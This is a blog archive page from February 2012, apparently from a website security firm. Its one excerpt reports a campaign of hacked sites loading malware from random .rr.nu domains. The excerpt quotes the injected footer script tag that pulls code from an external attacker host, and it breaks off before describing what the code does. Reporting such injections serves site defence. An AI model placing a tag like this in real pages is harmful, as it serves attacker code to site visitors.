Skip links

Archives for February 2012

Malware Campaign from .rr.nu

No, they don’t quit, so get used to it! We are seeing quite a few websites being compromised with malware getting loaded from random domains in the .rr.nu TLD. This is what gets added to the footer of the hacked sites: <script  src= "http://trill18ionsa.rr.nu/pmg.php?dr=1"></script> Once loaded, it…

Read More about Malware Campaign from .rr.nu